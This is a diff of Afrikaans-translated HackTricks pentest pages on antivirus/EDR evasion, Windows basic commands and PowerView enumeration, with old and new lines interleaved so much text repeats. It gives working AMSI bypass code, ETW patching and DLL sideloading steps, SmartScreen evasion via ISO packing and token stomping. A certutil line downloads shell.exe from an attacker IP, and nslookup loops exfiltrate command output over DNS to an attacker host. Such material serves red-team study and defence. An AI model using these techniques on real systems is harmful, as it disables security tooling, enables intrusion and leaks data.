Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE payload teen 'n normale Havoc DLL</p></figcaption></figure>
Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.
Nou gaan ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.
## DLL Sideloading & Proxying
**DLL Sideloading** maak gebruik van die DLL soekorde wat deur die laaier gebruik word deur beide die slagoffer toepassing en kwaadwillige payload(s) langs mekaar te posisioneer.
Jy kan programme wat vatbaar is vir DLL Sideloading kontroleer met [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
```powershell
Jy kan kontroleer vir programme wat vatbaar is vir DLL Sideloading met behulp van [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
@ -79,9 +79,9 @@ Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL-hijacking binne
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou payload nie laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer.
Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
@ -98,16 +98,14 @@ Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oor
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Hierdie is die resultate:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Beide ons shellcode (gecodeer met [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Deteksie koers in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
Beide ons shellcode (gecode met [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Deteksie koers in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer te leer oor wat ons in meer detail bespreek het.
> Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG_WNpE) om meer te leer oor wat ons in diepte bespreek het.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -131,7 +129,7 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_mal
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
- Gebruikerrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
- PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
- Windows Script Host (wscript.exe en cscript.exe)
- JavaScript en VBScript
@ -143,9 +141,11 @@ Die uitvoering van `IEX (New-Object Net.WebClient).DownloadString('https://raw.g
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai is, in hierdie geval, powershell.exe
Ons het geen lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
Ons het geen lêer na skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
Boonop, begin met **.NET 4.8**, word C# kode ook deur AMSI uitgevoer. Dit beïnvloed selfs `Assembly.Load(byte[])` om in-geheue uitvoering te laai. Dit is hoekom dit aanbeveel word om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-geheue uitvoering as jy AMSI wil ontwyk.
Daar is 'n paar maniere om rondom AMSI te kom:
@ -153,7 +153,7 @@ Daar is 'n paar maniere om rondom AMSI te kom:
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoe veel iets gemerk is.
Echter, AMSI het die vermoë om skripte te onobfuskeer selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
- **AMSI Ontwyking**
@ -161,14 +161,14 @@ Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.e
**Dwing 'n Fout**
Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe lei dat geen skandering vir die huidige proses geïnisieer sal word nie. Oorspronklik is dit deur [Matt Graeber](https://twitter.com/mattifestation) bekend gemaak en Microsoft het 'n handtekening ontwikkel om breër gebruik te voorkom.
```powershell
Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe lei dat geen skandering vir die huidige proses geïnisieer sal word nie. Oorspronklik is dit bekend gemaak deur [Matt Graeber](https://twitter.com/mattifestation) en Microsoft het 'n handtekening ontwikkel om wyer gebruik te voorkom.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Alles wat nodig was, was een lyn van powershell kode om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie lyn is natuurlik deur AMSI self gemerk, so 'n paar wysigings is nodig om hierdie tegniek te gebruik.
Hier is 'n gewysigde AMSI omseiling wat ek van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) geneem het.
```powershell
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@ -190,22 +190,49 @@ Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_Ras
> [!NOTE]
> Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [hierdie repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [**hierdie repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.
Hierdie hulpmiddel [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genereer ook 'n skrip om AMSI te omseil.
**Verwyder die gediagnoseerde handtekening**
Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gediagnoseerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder.
**AV/EDR produkte wat AMSI gebruik**
Jy kan 'n lys van AV/EDR produkte wat AMSI gebruik vind in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Gebruik Powershell weergawe 2**
As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte uitvoer sonder om deur AMSI geskandeer te word. Jy kan dit doen:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell logging is 'n kenmerk wat jou toelaat om al die PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en probleemoplossing, maar dit kan ook 'n **probleem wees vir aanvallers wat wil ontwyk dat hulle opgespoor word**.
Om PowerShell logging te omseil, kan jy die volgende tegnieke gebruik:
- **Deaktiveer PowerShell Transkripsie en Module Logging**: Jy kan 'n hulpmiddel soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik.
- **Gebruik Powershell weergawe 2**: As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte uitvoer sonder om deur AMSI gescan te word. Jy kan dit doen: `powershell.exe -version 2`
- **Gebruik 'n Unmanaged Powershell Sessie**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell sonder verdediging te genereer (dit is wat `powerpick` van Cobalt Strike gebruik).
## Obfuscation
Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike teks kode** te **obfuskeer**, **metaprogrammering templates** te genereer om binaries te compileer of **gecompileerde binaries** te obfuskeer soos:
> [!NOTE]
> Verskeie obfuscation tegnieke is gebaseer op die enkriptering van data, wat die entropie van die binêre sal verhoog, wat dit makliker sal maak vir AVs en EDRs om dit op te spoor. Wees versigtig hiermee en pas dalk net enkriptering toe op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word.
Daar is verskeie hulpmiddels wat gebruik kan word om **C# duidelike tekskode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Dit is 'n uitstekende oopbron obfuscator vir .NET toepassings. Dit bied verskeie beskermingstegnieke soos kontrole vloei obfuscation, anti-debugging, anti-tampering, en string enkriptering. Dit word aanbeveel omdat dit selfs toelaat om spesifieke stukke kode te obfuskeer.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskering](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te verander.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binary obfuscator wat in staat is om verskeie verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware sekuriteit te bied deur middel van [kode obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeer kode te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die kompilateur te verander.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeer operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuscator wat in staat is om verskeie verskillende pe lêers te obfuskeer, insluitend: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskeringsraamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale beheerstroom verhoed.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuscation raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
## SmartScreen & MoTW
@ -216,23 +243,23 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voortgaan te klik).
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed dat die lêer uitgevoer word (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik).
**MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Data Stroom](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
> [!NOTE]
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningssertifikaat **nie SmartScreen sal aktiveer** nie.
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit in 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om die Mark-of-the-Web te ontwyk.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitvoerhouers verpak om die Mark-of-the-Web te ontwyk.
Voorbeeld gebruik:
```powershell
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
@ -257,28 +284,36 @@ Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpa
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toelaat dat toepassings en stelseldelers **gebeurtenisse log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor.
Soos wat AMSI gedeaktiveer (omgegaan) word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die gebruikersruimte proses onmiddellik te laat terugkeer sonder om enige gebeurtenisse te log. Dit word gedoen deur die funksie in geheue te patch om onmiddellik terug te keer, wat ETW-logging vir daardie proses effektief deaktiveer.
Jy kan meer inligting vind in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) en [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Die laai van C# binêre in geheue is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.
Om C# binêre in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitatie gereedskap te laat loop sonder om deur AV gevang te word.
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf aan te raak, sal ons net bekommerd wees oor die patching van AMSI vir die hele proses.
Meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
Die meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
- **Fork\&Run**
Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon implanteer proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaat oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
Dit behels **die ontstaan van 'n nuwe offersproses**, injecteer jou post-exploitatie kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon-implantaatsproses plaasvind. Dit beteken dat as iets in ons post-exploitatie aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaats oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Dit gaan oor die spuit van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan crash.
Dit gaan oor die injectering van die post-exploitatie kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan crash.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As jy meer oor C# Assembly laai wil lees, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
@ -290,11 +325,21 @@ Deur toegang tot die Interpreter Binaries en die omgewing op die SMB deel toe te
Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ens. te benut het ons **meer buigsaamheid om statiese handtekeninge te omseil**. Toetsing met ewekansige on-obfuscated reverse shell skrifte in hierdie tale het suksesvol geblyk.
## TokenStomping
Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, wat hulle toelaat om die voorregte te verminder sodat die proses nie sterf nie, maar dit sal nie toestemming hê om kwaadwillige aktiwiteite na te gaan nie.
Om dit te voorkom, kan Windows **eksterne prosesse** verhinder om handvatsels oor die tokens van sekuriteitsprosesse te verkry.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Gevorderde Ontwyking
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
Elke omgewing wat jy teen gaan, sal sy eie sterkpunte en swakpunte hê.
Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.
Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
@ -302,7 +347,7 @@ Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/Da
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Dit is ook 'n ander groot praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontwyking in Diepte.
Dit is ook 'n ander wonderlike praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontwyking in Diepte.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -312,8 +357,8 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Kontroleer watter dele Defender as kwaadwillig vind**
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal verdeel.\
Nog 'n hulpmiddel wat die **dieselfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal skei.\
Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Bediening**
@ -527,6 +572,6 @@ https://github.com/praetorian-code/vulcan
```
### Meer
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -44,11 +44,11 @@ wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs/index.html#defender)
### Herwinningskas
### Herwinningsblik
```bash
dir C:\$Recycle.Bin /s /b
```
### Prosesse, Dienste & Sagte
### Prosesse, Dienste & Sagteware
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
@ -270,7 +270,7 @@ certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**Vind baie meer deur te soek na `Download` in** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
## Verskeie
## Verskillende
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
@ -315,7 +315,7 @@ who^ami #whoami
### DOSfuscation
Genereer 'n obfuscated CMD lyn
```powershell
```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
@ -339,7 +339,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
```
#### Slachtoffer
**`for /f tokens`** tegniek: Dit stel ons in staat om opdragte uit te voer, die eerste X woorde van elke lyn te verkry en dit deur DNS na ons bediener te stuur.
**`for /f tokens`** tegniek: Dit stel ons in staat om opdragte uit te voer, die eerste X woorde van elke lyn te kry en dit deur DNS na ons bediener te stuur.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
@ -349,7 +349,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Jy kan ook die **uitset** herlei, en dan **lees** dit.
Jy kan ook die **uitset** herlei, en dit dan **lees**.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

File diff suppressed because one or more lines are too long

View File

@ -7,7 +7,7 @@ Die mees onlangse weergawe van PowerView sal altyd in die dev tak van PowerSploi
[**SharpView**](https://github.com/tevora-threat/SharpView) is 'n .NET weergawe van [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Vinnige enumerasie
```powershell
```bash
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Domein info
```powershell
```bash
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### Gebruikers, Groepe, Rekenaar & OU's
```powershell
```bash
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### Aanmelding en Sessies
```powershell
```bash
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Groep Beleidsobjek - GPO's
As 'n aanvaller **hoë bevoegdhede oor 'n GPO** het, kan hy in staat wees om **privesc** te benut deur **toestemmings aan 'n gebruiker toe te voeg**, **'n plaaslike administrateur gebruiker** aan 'n gasheer toe te voeg of **'n geskeduleerde taak** (onmiddellik) te skep om 'n aksie uit te voer.\
